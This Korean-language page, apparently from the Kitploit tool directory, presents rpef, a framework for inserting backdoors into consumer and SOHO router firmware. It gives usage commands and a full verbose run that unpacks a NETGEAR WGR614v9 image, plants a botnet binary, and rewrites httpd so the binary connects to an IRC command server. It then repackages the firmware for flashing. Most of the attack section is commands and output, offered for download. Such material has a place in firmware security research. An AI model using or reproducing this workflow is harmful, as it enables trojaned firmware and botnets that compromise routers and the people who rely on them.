Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
rpef — 소비자/SOHO 라우터용 기본 펌웨어 이미지에 백도어를 삽입하는 과정을 추상화하고 신속하게 처리합니다. | Kitploit
도구/GitHubGitHub/mncoppola/rpef
Embedded Systems SecurityExploitationReverse EngineeringPost-ExploitationPenetration TestingHardware & IoT SecurityRed TeamingPayload DevelopmentFirmware Analysis
GitHubmncoppola/rpef

rpef

소비자/SOHO 라우터용 기본 펌웨어 이미지에 백도어를 삽입하는 과정을 추상화하고 신속하게 처리합니다.

12429812년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

라우터 사후 침투 프레임워크

현재, 이 프레임워크는 여러 펌웨어 이미지 모듈을 포함합니다:

root@kitploit:~
'확인됨'   - 이 모듈은 작동이 확인되었으며 안정적입니다.

'미확인' - 이 모듈은 작동할 것으로 예상되거나 약간의 추가 작업으로
           작동해야 하지만, 실제 장치에서 테스트를 기다리고 있습니다.

'테스트 중'    - 이 모듈은 현재 개발 중이며 당분간 불안정합니다.
              사용자는 이 모듈을 "진행 중인 작업"으로 간주해야 합니다.

'장애'  - 현재 이 모듈의 진행이 중단되었습니다. 특정 사용 불가능한 유틸리티나
          상당한 리버스 엔지니어링 작업이 필요할 수 있습니다.

옵션 목록을 보려면 다음을 실행하십시오:

root@kitploit:~
./rpef.py -h

현재 지원되는 모든 펌웨어 대상 목록을 보려면 다음을 실행하십시오:

root@kitploit:~
./rpef.py -ll

아키텍처 개요

이 스크립트는 Python 2.6으로 작성되었으며 몇 가지 모듈 설치가 필요할 수 있습니다. 일반적으로 다음과 같이 호출됩니다:

root@kitploit:~
./rpef.py <firmware image> <output file> <payload>

그리고 여러 선택적 스위치를 받아들입니다(-h 참조).

rules/ 디렉터리는 rules// 디렉터리의 계층 구조를 저장합니다. 하나의 모듈은 하나의 펌웨어 체크섬(특정 라우터가 아님)에 해당합니다. 여러 라우터가 동일한 펌웨어를 실행하는 것으로 관찰되었기 때문입니다. 각 모듈 내에는 대상 펌웨어 이미지를 언패키지, 백도어 삽입, 재패키지하는 데 필요한 언어와 작업 순서를 저장하는 properties.json이 있습니다. payloads/ 디렉터리는 배포 준비가 된 크로스 컴파일 바이너리를 저장하며, 선택적 dependencies/ 디렉터리는 프로세스를 지원하는 기타 파일을 저장합니다.

utilities/ 디렉터리는 파일 시스템 패킹/언패킹, 데이터 압축/해제(적합한 .py 모듈이 없는 경우), 체크섬 계산 등의 작업을 수행하는 사전 컴파일된 x86 바이너리를 저장합니다.

payloads_src/ 디렉터리는 페이로드 자체의 소스 코드를 저장합니다. 모든 페이로드는 가능한 한 작게 유지하기 위해 처음부터 작성되었습니다.

사용법

봇넷 클라이언트로 백도어된 WGR614v9용 펌웨어 이미지를 상세하게 생성하려면 다음을 실행하십시오:

root@kitploit:~
./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v

그러면 프로세스가 다음과 같이 진행됩니다:

root@kitploit:~
$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
[+] Verifying checksum
    Calculated checksum: 767c962037b32a5e800c3ff94a45e85e
    Matched target: NETGEAR WGR614v9 1.2.30NA (Verified)
[+] Extracting parts from firmware image
    Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
    Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
[+] Unpacking filesystem
    Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
        Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin
        
        created 217 files
        created 27 directories
        created 48 symlinks
        created 0 devices
        created 0 fifos
[+] Inserting payload
    Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
    Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
    Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
    Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 5: Appendtext "#!/bin/msh
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] INPUT REQUIRED, IP address of IRC server: 1.2.3.4
[+] INPUT REQUIRED, Port of IRC server: 6667
[+] INPUT REQUIRED, Channel to join (include #): #hax      
[+] INPUT REQUIRED, Prefix of bot nick: toteawesome
    Step 6: Appendtext "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 7: Appendtext "/usr/sbin/httpd.bak
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] Building filesystem
    Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin
        Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
        Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536.
        
        Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
        Filesystem size 1442.99 Kbytes (1.41 Mbytes)
            29.38% of uncompressed filesystem size (4912.18 Kbytes)
        Inode table size 2245 bytes (2.19 Kbytes)
            33.63% of uncompressed inode table size (6675 bytes)
        Directory table size 2322 bytes (2.27 Kbytes)
            55.26% of uncompressed directory table size (4202 bytes)
        Number of duplicate files found 3
        Number of inodes 293
        Number of files 218
        Number of fragments 22
        Number of symbolic links  48
        Number of device nodes 0
        Number of fifo nodes 0
        Number of socket nodes 0
        Number of directories 27
        Number of uids 1
            root (0)
        Number of gids 0
[+] Gluing parts together
    Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
[+] Padding image with null bytes
    Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00)
[+] Generating CHK header
    Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
        Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
[+] Removing temporary files
    Step 1: Rmdir /tmp/tmpOaw1tn/
도구 다운로드